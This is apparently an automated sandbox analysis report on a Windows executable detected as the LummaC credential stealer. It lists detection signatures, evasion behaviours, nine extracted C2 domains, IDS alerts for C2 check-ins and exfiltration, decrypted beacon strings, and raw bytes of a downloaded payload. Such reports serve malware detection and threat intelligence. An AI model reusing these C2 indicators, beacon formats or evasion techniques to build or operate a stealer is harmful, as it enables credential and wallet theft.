Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570677
MD5:	d780c527e77e5d364222f238a1be814d
SHA1:	f9f575fb76d0c56caa9ae40b9cb7bf138ed7a6b1
SHA256:	c2d4357ca74eff5fb5d4578314a148b35b1ed049bb7b01432acfb522ec7fc023
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5480 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D780C527E77E5D364222F238A1BE814D)

chrome.exe (PID: 2436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1928,i,17091623068724478487,9148228369810472869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=2000,i,7709211645445571266,4399532213566527057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["dare-curbys.biz", "zinc-sneark.biz", "print-vexer.biz", "atten-supporse.biz", "impend-differ.biz", "dwell-exclaim.biz", "formy-spill.biz", "covery-mover.biz", "se-blurry.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1515728672.00000000009BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1515745339.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1502676265.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1515709728.00000000009B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1374007611.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1515797522.00000000009C2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1515857851.00000000009C2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1379023595.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1502740986.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5480	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5480	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5480	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5480	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 15 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:14.474262+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:18.427506+0100	2028371	3	Unknown Traffic	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:23.510303+0100	2028371	3	Unknown Traffic	192.168.2.7	49718	104.21.16.9	443	TCP
2024-12-07T17:35:27.182484+0100	2028371	3	Unknown Traffic	192.168.2.7	49728	104.21.16.9	443	TCP
2024-12-07T17:35:31.457380+0100	2028371	3	Unknown Traffic	192.168.2.7	49737	104.21.16.9	443	TCP
2024-12-07T17:35:37.006142+0100	2028371	3	Unknown Traffic	192.168.2.7	49754	104.21.16.9	443	TCP
2024-12-07T17:35:42.497172+0100	2028371	3	Unknown Traffic	192.168.2.7	49767	104.21.16.9	443	TCP
2024-12-07T17:35:52.667191+0100	2028371	3	Unknown Traffic	192.168.2.7	49791	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:17.157571+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:21.238719+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:55.215120+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49791	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:17.157571+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49705	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:21.238719+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49707	104.21.16.9	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:14.474262+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:18.427506+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:23.510303+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49718	104.21.16.9	443	TCP
2024-12-07T17:35:27.182484+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49728	104.21.16.9	443	TCP
2024-12-07T17:35:31.457380+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49737	104.21.16.9	443	TCP
2024-12-07T17:35:37.006142+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49754	104.21.16.9	443	TCP
2024-12-07T17:35:42.497172+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49767	104.21.16.9	443	TCP
2024-12-07T17:35:52.667191+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49791	104.21.16.9	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:56.693094+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49802	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:12.812238+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.7	50433	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T17:35:39.704941+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49754	104.21.16.9	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz//	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiq4	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apil	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/Ma	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/g	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apio	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.5480.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["dare-curbys.biz", "zinc-sneark.biz", "print-vexer.biz", "atten-supporse.biz", "impend-differ.biz", "dwell-exclaim.biz", "formy-spill.biz", "covery-mover.biz", "se-blurry.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: atten-supporse.biz
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1851768153.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49869 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.1857248655.00000000060A2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784332173.0000000008000000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.7:50433 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49705 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49718 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49728 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49737 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49754 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49767 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49791 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49705 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49754 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49791 -> 104.21.16.9:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: se-blurry.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 16:35:56 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Sat, 07 Dec 2024 16:16:34 GMTConnection: keep-aliveETag: "675474e2-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 44 a2 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 75 64 73 6c 77 6c 75 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6a 6f 6b 6e 6f 79 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.42 13.107.246.42
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49718 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49728 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49737 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49754 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49767 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49791 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49802 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

